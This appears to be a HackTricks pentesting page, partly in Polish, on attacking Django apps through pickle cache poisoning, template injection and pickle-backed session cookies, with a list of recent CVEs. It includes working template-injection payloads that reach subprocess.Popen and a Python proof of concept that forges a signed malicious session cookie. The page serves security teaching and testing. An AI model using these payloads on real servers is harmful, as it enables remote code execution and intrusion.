90 lines
5.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Django
{{#include ../../banners/hacktricks-training.md}}
## Manipulacja cache prowadząca do RCE
Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.
Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
---
## Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.
### Detection
1. Szukaj dynamicznych wywołań `Template()` / `Engine.from_string()` / `render_to_string()` które zawierają *jakiekolwiek* nieoczyszczone dane z żądania.
2. Wyślij ładunek oparty na czasie lub arytmetyczny:
```django
{{7*7}}
```
Jeśli wyrenderowany output zawiera `49`, oznacza to, że dane wejściowe są kompilowane przez silnik szablonów.
### Sposób eskalacji do RCE
Django blocks direct access to `__import__`, but the Python object graph is reachable:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
Znajdź indeks `subprocess.Popen` (≈400500 w zależności od kompilacji Pythona) i wykonaj dowolne polecenia:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
Bardziej bezpieczny uniwersalny gadget to iteracja aż `cls.__name__ == 'Popen'`.
Ten sam gadget działa dla **Debug Toolbar** lub funkcji renderowania szablonów **Django-CMS**, które niewłaściwie obsługują dane wejściowe od użytkownika.
---
### Zobacz także: ReportLab/xhtml2pdf PDF export RCE
Aplikacje oparte na Django często integrują xhtml2pdf/ReportLab w celu eksportu widoków do PDF. Gdy HTML kontrolowany przez użytkownika trafia do generowania PDF, rl_safe_eval może ocenić wyrażenia wewnątrz potrójnych nawiasów `[[[ ... ]]]`, umożliwiając wykonanie kodu (CVE-2023-33733). Szczegóły, payloads i sposoby łagodzenia:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
---
## Pickle-Backed Session Cookie RCE
Jeśli ustawienie `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` jest włączone (lub używany jest niestandardowy serializer, który deserializuje pickle), Django *deszyfruje i deserializuje (unpickles)* cookie sesji **zanim** wywoła jakikolwiek kod widoku. W związku z tym posiadanie ważnego klucza podpisującego (domyślnie projektowy `SECRET_KEY`) wystarcza do natychmiastowego zdalnego wykonania kodu.
### Wymagania exploitu
* Serwer używa `PickleSerializer`.
* Atakujący zna / może odgadnąć `settings.SECRET_KEY` (leaks via GitHub, `.env`, strony błędów, itp.).
### Proof-of-Concept
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
Wyślij otrzymane cookie, a payload uruchomi się z uprawnieniami procesu WSGI worker.
**Mitigacje**: Zachowaj domyślny `JSONSerializer`, rotuj `SECRET_KEY` i skonfiguruj `SESSION_COOKIE_HTTPONLY`.
---
## Najnowsze (2023-2025) wysokiego wpływu CVE Django, które pentesterzy powinni sprawdzić
* **CVE-2025-48432** *Log Injection via unescaped `request.path`* (załatane 4 czerwca 2025). Pozwala atakującym przemycić znaki nowej linii/kody ANSI do plików logów i zatruć dalszą analizę logów. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Critical SQL injection* w `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Spreparuj klucze JSON, aby przerwać cytowanie i wykonać dowolne zapytania SQL. Załatane w 4.2.15 / 5.0.8.
Zawsze ustal dokładną wersję frameworka poprzez stronę błędu `X-Frame-Options` lub hash `/static/admin/css/base.css` i przetestuj powyższe, gdy mają zastosowanie.
---
## Referencje
* Komunikat bezpieczeństwa Django "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" 4 Jun 2025.
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" 11 Aug 2024.
* 0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../banners/hacktricks-training.md}}